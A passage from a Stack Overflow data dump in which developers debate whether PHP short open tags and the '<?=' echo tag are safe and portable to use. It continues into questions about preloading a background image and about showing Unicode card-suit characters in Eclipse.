yourself consistent, there shouldn't be any problems.</p>\n\n<p><strong>UPDATE</strong></p>\n\n<p>After doing quite a bit of work with <a href=\"http://www.magentocommerce.com/\" rel=\"noreferrer\">Magento</a>, which uses long form. As a result, I've switched to the long form of:</p>\n\n<pre><code>&lt;?php and &lt;?php echo\n</code></pre>\n\n<p>over</p>\n\n<pre><code>&lt;? and &lt;?=\n</code></pre>\n\n<p>Seems like a small amount of work to assure interoperability.</p>\n" }, { "answer_id": 1256508, "author": "stereoscott", "author_id": 149503, "author_profile": "https://Stackoverflow.com/users/149503", "pm_score": 2, "selected": false, "text": "<ul>\n<li>Short tags are acceptable to use in cases where you are certain the server will support it and that your developers will understand it.</li>\n<li>Many servers do not support it, and many developers will understand it after seeing it once.</li>\n<li>I use full tags to ensure portability, since it's really not that bad.</li>\n</ul>\n\n<p>With that said, a friend of mine said this, in support of alternate <em>standardized</em> asp-style tags, like <code>&lt;%</code> rather than <code>&lt;?</code>, which is a setting in php.ini called asp_tags. Here is his reasoning:</p>\n\n<blockquote>\n <p>... <strong>arbitrary conventions should be\n standardized</strong>. That is, any time we are\n faced with a set of possibilities that\n are all of equal value - such as what\n weird punctuation our programming\n language should use to demarcate\n itself - we should pick one standard\n way and stick with it. That way we\n reduce the learning curve of all\n languages (or whatever the things the\n convention pertains to). </p>\n</blockquote>\n\n<p>Sounds good to me, but I don't think any of us can circle the wagons around this cause. In the meantime, I would stick to the full <code>&lt;?php</code>. </p>\n" }, { "answer_id": 1697672, "author": "Jimmer", "author_id": 206364, "author_profile": "https://Stackoverflow.com/users/206364", "pm_score": 2, "selected": false, "text": "<p>Let's face it. PHP is ugly as hell without short tags.</p>\n\n<p>You can enable them in a <code>.htaccess</code> file if you can't get to the <code>php.ini</code>:</p>\n\n<pre><code>php_flag short_open_tag on\n</code></pre>\n" }, { "answer_id": 1943256, "author": "Brian Lacy", "author_id": 124732, "author_profile": "https://Stackoverflow.com/users/124732", "pm_score": 6, "selected": false, "text": "<p>The problem with this whole discussion lies in the use of PHP as a templating language. No one is arguing that tags should be used in application source files.</p>\n\n<p>However PHP's embeddable syntax allows it to be used as a powerful template language, and templates should be as simple and readable as possible. Many have found it easier to use a much slower, add-on templating engine like Smarty, but for those purists among us who demand fast rendering and a pure code base, PHP is the only way to write templates.</p>\n\n<p>The ONLY valid argument AGAINST the use of short tags is that they aren't supported on all servers. Comments about conflicts with XML documents are ludicrous, because you probably shouldn't be mixing PHP and XML anyway; and if you are, you should be using PHP to output strings of text. Security should never be an issue, because if you're putting sensitive information like database access credentials inside of template files, well then, you've got bigger issues!</p>\n\n<p>Now then, as to the issue of server support, admittedly one has to be aware of their target platform. If shared hosting is a likely target, then short tags should be avoided. But for many professional developers (such as myself), the client acknowledges (and indeed, depends on the fact) that we will be dictating the server requirements. Often I'm responsible for setting up the server myself.</p>\n\n<p>And we NEVER work with a hosting provider that does not give us absolute control of the server configuration -- in such a case we could count on running to much more trouble than just losing short tag support. It just doesn't happen.</p>\n\n<p>So yes -- I agree that the use of short tags should be carefully weighed. But I also firmly believe that it should ALWAYS be an option, and that a developer who is aware of his environment should feel free to use them.</p>\n" }, { "answer_id": 3209503, "author": "Daniel Ross", "author_id": 387339, "author_profile": "https://Stackoverflow.com/users/387339", "pm_score": 3, "selected": false, "text": "<p>I read this page after looking for information on the topic, and I feel that one major issue has not been mentioned: laziness vs. consistency. The \"real\" tags for PHP are &lt;?php and ?&gt;. Why? I don't really care. Why would you want to use something else when those are clearly for PHP? &lt;% and %&gt; mean ASP to me, and &lt;script ..... means Javascript (in most cases). So for consistency, fast learning, portability, and simplicity, why not stick to the standard?</p>\n\n<p>On the other hand I agree that short tags in templates (and ONLY in templates) seem useful, but the problem is that we've just spent so much time discussing it here, that it would likely take a very long time to have actually wasted that much time typing the extra three characters of \"php\"!!</p>\n\n<p>While having many options is nice, it's not at all logical and it can cause problems. Imagine if every programming language allowed 4 or more types of tags: Javascript could be &lt;JS or &lt; script .... or &lt;% or &lt;? JS.... would that be helpful? In the case of PHP the parsing order tends to be in favor of allowing these things, but the language is in many other ways not flexible: it throws notices or errors upon the slightest inconsistency, yet short tags are used often. And when short tags are used on a server that doesn't support them, it can take a very long time to figure out what is wrong since no error is given in some cases.</p>\n\n<p>Finally, I don't think that short tags are the problem here: there are only two logical types of PHP code blocks-- 1) regular PHP code, 2) template echoes.\nFor the former, I firmly believe that only &lt;?php and ?&gt; should be allowed just to keep everything consistent and portable.\nFor the latter, the &lt;?=$var?&gt; method is ugly. Why must it be like this? Why not add something much more logical?\n&lt;?php $var ?&gt;\nThat would not do anything (and only in the most remote possibilities could it conflict with something), and that could easily replace the awkward &lt;?= syntax. Or if that's a problem, perhaps they could use &lt;?php=$var?&gt; instead and not worry about inconsistencies.</p>\n\n<p>At the point where there are 4 options for open and close tags and the random addition of a special \"echo\" tag, PHP may as well have a \"custom open/close tags\" flag in php.ini or .htaccess. That way designers can choose the one they like best. But for obvious reasons that's overkill. So why allow 4+ options?</p>\n" }, { "answer_id": 5652782, "author": "Adrian Judd", "author_id": 706498, "author_profile": "https://Stackoverflow.com/users/706498", "pm_score": 2, "selected": false, "text": "<p>IMHO people who use short tags often forget to escape whatever they're echoing. It would be nice to have a template engine that escapes by default. I believe Rob A wrote a quick hack to escape short tags in Zend Frameworks apps. If you like short tags because it makes PHP easier to read. Then might Smarty be a better option?</p>\n\n<pre><code>{$myString|escape}\n</code></pre>\n\n<p>to me that looks better than </p>\n\n<pre><code>&lt;?= htmlspecialchars($myString) ?&gt; \n</code></pre>\n" }, { "answer_id": 6064813, "author": "dukeofgaming", "author_id": 156257, "author_profile": "https://Stackoverflow.com/users/156257", "pm_score": 7, "selected": false, "text": "<p>Starting with PHP 5.4, the echo shortcut is a separate issue from short tags, as the echo shortcut will always be enabled. It's a fact now:</p>\n\n<ul>\n<li><a href=\"http://svn.php.net/viewvc?view=revision&amp;revision=311260\" rel=\"noreferrer\">SVN Revision by Rasmus Lerdorf</a></li>\n<li><a href=\"http://marc.info/?t=123964298400001&amp;r=1&amp;w=2\" rel=\"noreferrer\">Mailing list discussion</a></li>\n</ul>\n\n<p>So the echo shortcut itself (<code>&lt;?=</code>) is safe to use now.</p>\n" }, { "answer_id": 6175750, "author": "Oliver Charlesworth", "author_id": 129570, "author_profile": "https://Stackoverflow.com/users/129570", "pm_score": 4, "selected": false, "text": "<p><a href=\"http://uk3.php.net/manual/en/language.basic-syntax.phpmode.php\" rel=\"noreferrer\">http://uk3.php.net/manual/en/language.basic-syntax.phpmode.php</a> has plenty of advice, including:</p>\n\n<blockquote>\n <p>while some people find short tags and\n ASP style tags convenient, they are\n less portable, and generally not\n recommended.</p>\n</blockquote>\n\n<p>and</p>\n\n<blockquote>\n <p>note that if you are embedding PHP\n within XML or XHTML you will need to\n use the <code>&lt;?php ?&gt;</code> tags to remain\n compliant with standards.</p>\n</blockquote>\n\n<p>and</p>\n\n<blockquote>\n <p>Using short tags should be avoided\n when developing applications or\n libraries that are meant for\n redistribution, or deployment on PHP\n servers which are not under your\n control, because short tags may not be\n supported on the target server. For\n portable, redistributable code, be\n sure not to use short tags.</p>\n</blockquote>\n" }, { "answer_id": 6175794, "author": "Kumar", "author_id": 523794, "author_profile": "https://Stackoverflow.com/users/523794", "pm_score": 2, "selected": false, "text": "<p>To avoid portability issues, start PHP tags with <code>&lt;?php</code> and in case your PHP file is purely PHP, no HTML, you don't need to use the closing tags.</p>\n" }, { "answer_id": 7080182, "author": "James Alday", "author_id": 463935, "author_profile": "https://Stackoverflow.com/users/463935", "pm_score": 4, "selected": false, "text": "<p>In case anyone's still paying attention to this... As of PHP 5.4.0 Alpha 1 <code>&lt;?=</code> is always available:</p>\n\n<p>\n\n<p><a href=\"http://php.net/releases/NEWS_5_4_0_alpha1.txt\">http://php.net/releases/NEWS_5_4_0_alpha1.txt</a></p>\n\n<p>So it looks like short tags are (a) acceptable and (b) here to stay. For now at least...</p>\n" }, { "answer_id": 10245680, "author": "AnkTech Devops", "author_id": 1346125, "author_profile": "https://Stackoverflow.com/users/1346125", "pm_score": 2, "selected": false, "text": "<p><code>&lt;?</code> is disabled by default in newer versions. You can enable this like described <em><a href=\"http://www.tomjepson.co.uk/tutorials/35/enabling-short-tags-in-php.html\" rel=\"nofollow\">Enabling Short Tags in PHP</a></em>.</p>\n" }, { "answer_id": 10816068, "author": "brunoais", "author_id": 551625, "author_profile": "https://Stackoverflow.com/users/551625", "pm_score": 4, "selected": false, "text": "<p>Note: Starting in PHP 5.4 the short tag, <code>&lt;?=</code>, is now always available.</p>\n" }, { "answer_id": 13259417, "author": "Greg", "author_id": 1090298, "author_profile": "https://Stackoverflow.com/users/1090298", "pm_score": 2, "selected": false, "text": "<p>It's good to use them when you work with a MVC framework or CMS that have separate view files.<br> It's fast, less code, not confusing for the designers. Just make sure your server configuration allows using them.</p>\n" }, { "answer_id": 16183812, "author": "Sumoanand", "author_id": 1093248, "author_profile": "https://Stackoverflow.com/users/1093248", "pm_score": 4, "selected": false, "text": "<p>Following is the wonderful flow diagram of the same:</p>\n\n<p><img src=\"https://i.stack.imgur.com/TJpOs.png\" alt=\"decision making tree of the use of &lt;?=\"></p>\n\n<p>Source: <a href=\"https://softwareengineering.stackexchange.com/a/151694\">similiar question on Software Engineering Stack Exchange</a></p>\n" }, { "answer_id": 22285155, "author": "James", "author_id": 2632129, "author_profile": "https://Stackoverflow.com/users/2632129", "pm_score": 2, "selected": false, "text": "<p>One has to ask what the point of using short tags is. </p>\n\n<p><strong>Quicker to type</strong> </p>\n\n<p>MDCore said: </p>\n\n<blockquote>\n <p><code>&lt;?=</code> is far more convenient than typing <code>&lt;?php echo</code> </p>\n</blockquote>\n\n<p>Yes, it is. You save having to type 7 characters * X times throughout your scripts. </p>\n\n<p>However, when a script takes an hour, or 10 hours, or more, to design, develop, and write, how relevant is the few seconds of time not typing those 7 chars here and there for the duration of the script? </p>\n\n<p>Compared to the potential for some core, or all, of you scripts not working if short tags are not turned on, or are on but an update or someone changing the ini file/server config stops them working, other potentials. </p>\n\n<p>The small benefit you gain doesn't comes close to outweighing the severity of the potential problems, that is your site not working, or worse, only parts of it not working and thus a headache to resolve. </p>\n\n<p><strong>Easier to read</strong> </p>\n\n<p>This depends on <em>familiarity</em>.<br>\nI've always seen and used <code>&lt;?php echo</code>. So while <code>&lt;?=</code> is not hard to read, it's not familiar to me and thus <em>not easier to read</em>. </p>\n\n<p>And with front end/back end developer split (as with most companies) would a front end developer working on those templates be more <em>familiar</em> knowing <code>&lt;?=</code> is equal to \"PHP open tag and echo\"?<br>\nI would say most would be more comfortable with the more logical one. That is, a clear PHP open tag and then what is happening \"echo\" - <code>&lt;?php echo</code>. </p>\n\n<p><strong>Risk assessment</strong><br>\nIssue = entire site or core scripts fail to work;</p>\n\n<p>The potential of issue is <em>very low</em> + severity of outcome is <em>very high</em> = <strong>high risk</strong> </p>\n\n<p><strong>Conclusion</strong> </p>\n\n<p>You save a few seconds here and there not having to type a few chars, but risk a lot for it, and also likely lose readability as a result. </p>\n\n<p>Front or back end coders <em>familiar</em> with <code>&lt;?=</code> are more likely to understand <code>&lt;?php echo</code>, as they're standard PHP things - standard <code>&lt;?php</code> open tag and very well known \"echo\".<br>\n(Even front end coders should know \"echo\" or they simply wont be working on any code served by a framework). </p>\n\n<p>Whereas the reverse is not as likely, someone is not likely to logically deduce that the equals sign on a PHP short tag is \"echo\".</p>\n" }, { "answer_id": 33115089, "author": "M50Scripts", "author_id": 3680252, "author_profile": "https://Stackoverflow.com/users/3680252", "pm_score": 0, "selected": false, "text": "<p><code>&lt;?php ?&gt;</code> are much better to use since developers of this programming language has massively updated their core-language. You can see the difference between the short tags and long tags.</p>\n\n<p>Short tags will be highlighted as light red while the longer ones are highlighted darker!</p>\n\n<p>However, echoing something out, for example: <code>&lt;?=$variable;?&gt;</code> is fine. But prefer the longer tags. <code>&lt;?php echo $variable;?&gt;</code></p>\n" }, { "answer_id": 33979966, "author": "Fatih Akgun", "author_id": 5149281, "author_profile": "https://Stackoverflow.com/users/5149281", "pm_score": 0, "selected": false, "text": "<p>Convert <code>&lt;?</code> (without a trailing space) to <code>&lt;?php</code> (with a trailing space):</p>\n\n<pre><code>find . -name \"*.php\" -print0 | xargs -0 perl -pi -e 's/&lt;\\?(?!php|=|xml|mso| )/&lt;\\?php /g'\n</code></pre>\n\n<p>Convert <code>&lt;?</code> (with a trailing space) to <code>&lt;?php</code> (retaining the trailing space):</p>\n\n<pre><code>find . -name \"*.php\" -print0 | xargs -0 perl -pi -e 's/&lt;\\? /&lt;\\?php /g'\n</code></pre>\n" }, { "answer_id": 49876632, "author": "Manngo", "author_id": 1413856, "author_profile": "https://Stackoverflow.com/users/1413856", "pm_score": 2, "selected": false, "text": "<p>I thought it worth mentioning that as of PHP 7:</p>\n<ul>\n<li>Short ASP PHP tags <code>&lt;% … %&gt;</code> are gone</li>\n<li>Short PHP tabs <code>&lt;? … ?&gt;</code> are still available if <code>short_open_tag</code> is set to true. This is the default.</li>\n<li>Since PHP 5.4, Short <strong>Print</strong> tags <code>&lt;?=… ?&gt;</code> are <em>always</em> enabled, regardless of the <code>short_open_tag</code> setting.</li>\n</ul>\n<p>Good riddance to the first one, as it interfered with other languages.</p>\n<p>There is now no reason not to use the short print tags, apart from personal preference.</p>\n<p>Of course, if you’re writing code to be compatible with legacy versions of PHP 5, you will need to stick to the old rules, but remember that anything before PHP 5.6 is now unsupported.</p>\n<p>See: <a href=\"https://secure.php.net/manual/en/language.basic-syntax.phptags.php\" rel=\"nofollow noreferrer\">https://secure.php.net/manual/en/language.basic-syntax.phptags.php</a></p>\n<p>Note also the the above reference discourages the second version (<code>&lt;? … ?&gt;</code>) since it may have been disabled:</p>\n<blockquote>\n<p>Note:<br />\nAs short tags can be disabled it is recommended to only use the normal tags (<code>&lt;?php ?&gt;</code> and <code>&lt;?= ?&gt;</code>) to maximise compatibility.</p>\n</blockquote>\n" }, { "answer_id": 55254513, "author": "GaziAnis", "author_id": 10995854, "author_profile": "https://Stackoverflow.com/users/10995854", "pm_score": 1, "selected": false, "text": "<p>Short tag are alwayes available in php. \n So you do not need echo the first statement in your script</p>\n\n<p>example:</p>\n\n<pre><code> $a =10;\n &lt;?= $a;//10 \n echo \"Hellow\";//\n echo \"Hellow\";\n\n ?&gt;\n</code></pre>\n\n<p>Suddenly you need to use for a single php script then u can\n use it. \n example:</p>\n\n<pre><code>&lt;html&gt;\n&lt;head&gt;\n&lt;title&gt;&lt;/title&gt;\n&lt;/head&gt; \n&lt;body&gt;\n&lt;p&gt;hellow everybody&lt;?= hi;?&gt;&lt;/p&gt;\n&lt;p&gt;hellow everybody &lt;/p&gt; \n&lt;p&gt;hellow everybody &lt;/p&gt; \n&lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n" }, { "answer_id": 57755841, "author": "Blackbam", "author_id": 576746, "author_profile": "https://Stackoverflow.com/users/576746", "pm_score": 3, "selected": false, "text": "<p>As of 2019 I disagree with certain answers here. Recommended to use:</p>\n<p><strong>1. Long tags</strong></p>\n<pre><code>&lt;?php /* code goes here */ ?&gt;\n</code></pre>\n<p><strong>2. Short echo tags</strong></p>\n<pre><code>&lt;?= /* code goes here */ ?&gt;\n</code></pre>\n<p>Reason: They are recommended by the <a href=\"https://www.php-fig.org/psr/psr-1/\" rel=\"nofollow noreferrer\">PSR-1 basic coding standard</a></p>\n<p>Other short tags like <code>&lt;? /* code goes here */ ?&gt;</code> are not recommended.</p>\n<p>The spec says:</p>\n<blockquote>\n<p>PHP code MUST use the long tags or the short-echo \ntags; <em>it MUST NOT use the other tag variations</em>.</p>\n</blockquote>\n" }, { "answer_id": 58043075, "author": "GaziAnis", "author_id": 10995854, "author_profile": "https://Stackoverflow.com/users/10995854", "pm_score": 1, "selected": false, "text": "<p>3 tags are available in php:</p>\n\n<ol>\n<li>long-form tag that <code>&lt;?php ?&gt;</code> no need to directive any configured</li>\n<li>short_open_tag that <code>&lt;? ?&gt;</code> available if short_open_tag option in\nphp.ini is on</li>\n<li>shorten tag <code>&lt;?=</code> since php 5.4.0 it is always available</li>\n</ol>\n\n<p>from php 7.0.0 asp and script tag are removed</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200640", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1896/" ]
Here's the information [according to the official documentation](http://www.php.net/manual/en/language.basic-syntax.php): > > There are four different pairs of > opening and closing tags which can be > used in PHP. Two of those, `<?php ?>` > and `<script language="php"> </script>`, > are always available. The other two > are short tags and ASP style tags, and > can be turned on and off from the > php.ini configuration file. As such, > while some people find short tags and > ASP style tags convenient, they are > less portable, and **generally not > recommended**. > > > In my experience most servers *do* have short tags enabled. Typing ``` <?= ``` is far more convenient than typing ``` <?php echo ``` The programmers convenience is an important factor, so **why** are they not recommended?
There must be a clear distinction between the PHP short tag (`<?`) and shorthand echo tag (`<?=`) The former is prohibited by the [PHP Coding standard](https://www.php-fig.org/psr/psr-1/), mostly out of common sense because it's a PITA if you ever have to move your code to a server where it's not supported (and you can't enable it). As you say, lots of shared hosts *do* support shorttags but "lots" isn't all of them. If you want to share your scripts, it's best to use the full syntax. Whereas the shorthand echo tag `<?=` cannot be disabled and therefore is fully acceptable to use. I agree that `<?` is easier on programmers than `<?php` but it is possible to do a bulk find-and-replace as long as you use the same form each time. I don't buy readability as a reason at all. Most serious developers have the option of syntax highlighting available to them. As ThiefMaster mentions in the comments, **[as of PHP 5.4, `<?= ... ?>` tags are supported everywhere, regardless of shorttags settings](https://www.php.net/ChangeLog-5.php#5.4.0)**. This should mean they're safe to use in portable code but that does mean there's then a dependency on PHP 5.4+. If you want to support pre-5.4 and can't guarantee shorttags, you'll still need to use `<?php echo ... ?>`. Also, you need to know that **[ASP tags <% , %> , <%= , and script tag are removed from PHP 7](https://www.php.net/manual/en/language.basic-syntax.phptags.php)**. So if you would like to support long-term portable code and would like switching to the most modern tools consider changing that parts of code.
200,662
<p>Is there a way to make sure a (large, 300K) background picture is always displayed first BEFORE any other content is shown on the page?</p> <p>On the server we have access to PHP.</p>
[ { "answer_id": 200672, "author": "Kent Fredric", "author_id": 15614, "author_profile": "https://Stackoverflow.com/users/15614", "pm_score": 3, "selected": true, "text": "<p>All the html content is served and parsed before it even starts to fetch the image, so you have a problem before you start. </p>\n\n<p>You could circumvent this by programmatically hiding the content, and then triggering a \"show\" of it when the image is loaded. </p>\n\n<p>ie: </p>\n\n<pre><code>&lt;html&gt;\n &lt;body&gt;\n &lt;image here/&gt;\n &lt;div id=\"content\" style=\"display:none;\" &gt;\n\n &lt;/div&gt;\n &lt;script type=\"psudocode\"&gt; \n when(image.loaded){ \n $(\"#content\").show();\n }\n &lt;/script&gt;\n &lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n" }, { "answer_id": 200674, "author": "Chris Shaffer", "author_id": 6744, "author_profile": "https://Stackoverflow.com/users/6744", "pm_score": 0, "selected": false, "text": "<p>I think the only way you'll be able to do this is with javascript - Send the user HTML that only contains your background image and some javascript that either waits for a certain amount of time before displaying the rest of the content or uses AJAX to retrieve the rest of the content (essentially the same thing).</p>\n" }, { "answer_id": 200699, "author": "gnud", "author_id": 27204, "author_profile": "https://Stackoverflow.com/users/27204", "pm_score": 2, "selected": false, "text": "<p>If you have all content inside a container, you can probably come pretty close using this techique. It will also fail gracefully if javascript is disabled/unavailable.</p>\n\n<p>So if you have to do this because of a manager or something, this is the method I would use.</p>\n\n<pre><code>&lt;html&gt;&lt;head&gt;&lt;!-- head section --&gt;&lt;/head&gt;\n&lt;body&gt;\n &lt;div id=\"container\"&gt;\n &lt;script type=\"text/javascript\"&gt;\n &lt;!--\n document.getElementById('container').style.display = 'none';\n --&gt;\n &lt;/script&gt;\n Content goes here\n &lt;/div&gt;\n &lt;script type=\"text/javascript\"&gt;\n &lt;!--\n document.getElementById('container').style.display = 'block';\n --&gt;\n &lt;/script&gt;\n&lt;/body&gt;&lt;/html&gt;\n</code></pre>\n\n<p>If you have very little content, however, it probably won't do much good.\nYou could of course add a timer on the second javascript block, to delay it for a second or so :P</p>\n" }, { "answer_id": 200751, "author": "kentaromiura", "author_id": 27340, "author_profile": "https://Stackoverflow.com/users/27340", "pm_score": 2, "selected": false, "text": "<pre><code>&lt;html&gt;&lt;head&gt;\n&lt;script type=\"text/javascript\"&gt;\n//Hide on load\nonload=function(){\n document.body.style.display=\"none\";\n var imag = new Image();\n\n imag.onload=function(){\n var main = document.body;\n main.style.backgroundImage=\"url(\"+this.src+\")\";\n main.style.display=\"\";\n\n };\n imag.src=\"http://dayton.hq.nasa.gov/IMAGES/MEDIUM/GPN-2000-001935.jpg\";\n}\n&lt;/script&gt;\n&lt;/head&gt;\n&lt;body&gt;\n YOU CAN' T SEE MEE!!\n&lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n" }, { "answer_id": 200782, "author": "PhiLho", "author_id": 15459, "author_profile": "https://Stackoverflow.com/users/15459", "pm_score": 1, "selected": false, "text": "<p>A possible way, if you don't want to rely on JavaScript, is to make a dummy page with only the background image. After a few seconds, it redirects to the real page, and the background will load quickly because it is already in cache.</p>\n\n<p>Not a super attractive solution, if the timing is fixed, I reckon.<br>\nNote that 300KB is quite big for a background image. I have seen worse, somebody using a 1MB image: even with a relatively fast connexion, I could see the background load way after the elements of the page.</p>\n" }, { "answer_id": 38155656, "author": "Alex Atwater", "author_id": 3358449, "author_profile": "https://Stackoverflow.com/users/3358449", "pm_score": 0, "selected": false, "text": "<p>You could load the image within the page as a base64 image then it will already be loaded with the page.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200662", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4639/" ]
Is there a way to make sure a (large, 300K) background picture is always displayed first BEFORE any other content is shown on the page? On the server we have access to PHP.
All the html content is served and parsed before it even starts to fetch the image, so you have a problem before you start. You could circumvent this by programmatically hiding the content, and then triggering a "show" of it when the image is loaded. ie: ``` <html> <body> <image here/> <div id="content" style="display:none;" > </div> <script type="psudocode"> when(image.loaded){ $("#content").show(); } </script> </body> </html> ```
200,663
<p>I need a way to get the elapsed time (wall-clock time) since a program started, in a way that is resilient to users meddling with the system clock.</p> <p>On windows, the non standard clock() implementation doesn't do the trick, as it appears to work just by calculating the difference with the time sampled at start up, so that I get negative values if I "move the clock hands back".</p> <p>On UNIX, clock/getrusage refer to system time, whereas using function such as gettimeofday to sample timestamps has the same problem as using clock on windows.</p> <p>I'm not really interested in precision, and I've hacked a solution by having a half a second resolution timer spinning in the background countering the clock skews when they happen (if the difference between the sampled time and the expected exceeds 1 second i use the expected timer for the new baseline) but I think there must be a better way.</p>
[ { "answer_id": 200678, "author": "Steve Moyer", "author_id": 17008, "author_profile": "https://Stackoverflow.com/users/17008", "pm_score": -1, "selected": false, "text": "<p>If you have a network connection, you can always acquire the time from an NTP server. This will obviously not be affected in any the local clock.</p>\n" }, { "answer_id": 200849, "author": "Rômulo Ceccon", "author_id": 23193, "author_profile": "https://Stackoverflow.com/users/23193", "pm_score": 1, "selected": false, "text": "<p>I don't think you'll find a cross-platform way of doing that.</p>\n\n<p>On Windows what you need is <a href=\"http://msdn.microsoft.com/en-us/library/ms724408.aspx\" rel=\"nofollow noreferrer\">GetTickCount</a> (or maybe <a href=\"http://msdn.microsoft.com/en-us/library/ms644904.aspx\" rel=\"nofollow noreferrer\">QueryPerformanceCounter</a> and <a href=\"http://msdn.microsoft.com/en-us/library/ms644905.aspx\" rel=\"nofollow noreferrer\">QueryPerformanceFrequency</a> for a high resolution timer). I don't have experience with that on Linux, but a search on Google gave me <a href=\"http://www.linuxmanpages.com/man3/clock_gettime.3.php\" rel=\"nofollow noreferrer\">clock_gettime</a>.</p>\n" }, { "answer_id": 200970, "author": "EvilTeach", "author_id": 7734, "author_profile": "https://Stackoverflow.com/users/7734", "pm_score": 0, "selected": false, "text": "<p>Wall clock time can bit calculated with the <strong>time()</strong> call.</p>\n" }, { "answer_id": 201200, "author": "Steve Baker", "author_id": 13566, "author_profile": "https://Stackoverflow.com/users/13566", "pm_score": -1, "selected": false, "text": "<p>/proc/uptime on linux maintains the number of seconds that the system has been up (and the number of seconds it has been idle), which should be unaffected by changes to the clock as it's maintained by the system interrupt (jiffies / HZ). Perhaps windows has something similar?</p>\n" }, { "answer_id": 201651, "author": "shodanex", "author_id": 11589, "author_profile": "https://Stackoverflow.com/users/11589", "pm_score": 2, "selected": false, "text": "<p>I guess you can always start some kind of timer. For example under Linux a thread\nthat would have a loop like this :</p>\n\n<pre><code>static void timer_thread(void * arg)\n{\n struct timespec delay;\n unsigned int msecond_delay = ((app_state_t*)arg)-&gt;msecond_delay;\n\n delay.tv_sec = 0;\n delay.tv_nsec = msecond_delay * 1000000;\n\n while(1) {\n some_global_counter_increment();\n nanosleep(&amp;delay, NULL);\n }\n}\n</code></pre>\n\n<p>Where <code>app_state_t</code> is an application structure of your choice were you store variables. If you want to prevent tampering, you need to be sure no one killed your thread</p>\n" }, { "answer_id": 812472, "author": "Kristopher Johnson", "author_id": 1175, "author_profile": "https://Stackoverflow.com/users/1175", "pm_score": 2, "selected": false, "text": "<p>For POSIX, use <code>clock_gettime()</code> with <code>CLOCK_MONOTONIC</code>.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200663", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I need a way to get the elapsed time (wall-clock time) since a program started, in a way that is resilient to users meddling with the system clock. On windows, the non standard clock() implementation doesn't do the trick, as it appears to work just by calculating the difference with the time sampled at start up, so that I get negative values if I "move the clock hands back". On UNIX, clock/getrusage refer to system time, whereas using function such as gettimeofday to sample timestamps has the same problem as using clock on windows. I'm not really interested in precision, and I've hacked a solution by having a half a second resolution timer spinning in the background countering the clock skews when they happen (if the difference between the sampled time and the expected exceeds 1 second i use the expected timer for the new baseline) but I think there must be a better way.
I guess you can always start some kind of timer. For example under Linux a thread that would have a loop like this : ``` static void timer_thread(void * arg) { struct timespec delay; unsigned int msecond_delay = ((app_state_t*)arg)->msecond_delay; delay.tv_sec = 0; delay.tv_nsec = msecond_delay * 1000000; while(1) { some_global_counter_increment(); nanosleep(&delay, NULL); } } ``` Where `app_state_t` is an application structure of your choice were you store variables. If you want to prevent tampering, you need to be sure no one killed your thread
200,676
<p>I want to sprintf() an unsigned long long value in visual C++ 6.0 (plain C).</p> <pre><code>char buf[1000]; //bad coding unsigned __int64 l = 12345678; char t1[6] = "test1"; char t2[6] = "test2"; sprintf(buf, "%lli, %s, %s", l, t1, t2); </code></pre> <p>gives the result</p> <pre><code>12345678, (null), test1 </code></pre> <p>(watch that <code>test2</code> is not printed)</p> <p>and <code>l = 123456789012345</code> it gives an exception handle</p> <p>any suggestions?</p>
[ { "answer_id": 200696, "author": "gimel", "author_id": 6491, "author_profile": "https://Stackoverflow.com/users/6491", "pm_score": -1, "selected": false, "text": "<p>Apparently, you did not assign <code>additionaltext</code> to the necessary <code>char *</code> (string). Note that the <code>long int</code> was processed, the comma was copied and only the <code>%s</code> generated <code>(null)</code>.</p>\n" }, { "answer_id": 200749, "author": "MSalters", "author_id": 15416, "author_profile": "https://Stackoverflow.com/users/15416", "pm_score": 1, "selected": false, "text": "<p>printf uses the ellipsis to pass a variable argument list. The (null) you see is the second part of your long long, which happen to be all 0 bits. Set it to 1&lt;&lt;60+1&lt;&lt;30 and you'll get a crash as the 1&lt;&lt;60 part is interpreted as a char*.</p>\n\n<p>The correct solution would be to break down the number in three parts of 10 digits, \"verylongvalue % 10000000000\" \"(verylongvalue/10000000000) % 10000000000\" \"verylongvalue/100000000000000000000\".</p>\n" }, { "answer_id": 200763, "author": "ChrisN", "author_id": 3853, "author_profile": "https://Stackoverflow.com/users/3853", "pm_score": 4, "selected": true, "text": "<p>To print an <code>unsigned __int64</code> value in Visual C++ 6.0 you should use <code>%I64u</code>, not <code>%lli</code> (refer to <a href=\"http://msdn.microsoft.com/en-us/library/aa272936%28VS.60%29.aspx\" rel=\"nofollow noreferrer\">this page</a> on MSDN). <code>%lli</code> is only supported in Visual Studio 2005 and later versions.\nSo, your code should be:</p>\n\n<pre><code>sprintf(buf, \"%I64u, %s, %s\", l, t1, t2);\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200676", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27800/" ]
I want to sprintf() an unsigned long long value in visual C++ 6.0 (plain C). ``` char buf[1000]; //bad coding unsigned __int64 l = 12345678; char t1[6] = "test1"; char t2[6] = "test2"; sprintf(buf, "%lli, %s, %s", l, t1, t2); ``` gives the result ``` 12345678, (null), test1 ``` (watch that `test2` is not printed) and `l = 123456789012345` it gives an exception handle any suggestions?
To print an `unsigned __int64` value in Visual C++ 6.0 you should use `%I64u`, not `%lli` (refer to [this page](http://msdn.microsoft.com/en-us/library/aa272936%28VS.60%29.aspx) on MSDN). `%lli` is only supported in Visual Studio 2005 and later versions. So, your code should be: ``` sprintf(buf, "%I64u, %s, %s", l, t1, t2); ```
200,691
<p>How can I use/display characters like ♥, ♦, ♣, or ♠ in Java/Eclipse?</p> <p>When I try to use them directly, e.g. in the source code, Eclipse cannot save the file.</p> <p>What can I do?</p> <p>Edit: How can I find the unicode escape sequence?</p>
